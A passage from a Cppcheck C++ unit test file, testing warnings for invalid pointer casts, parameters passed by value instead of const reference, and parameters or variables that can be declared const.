ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" 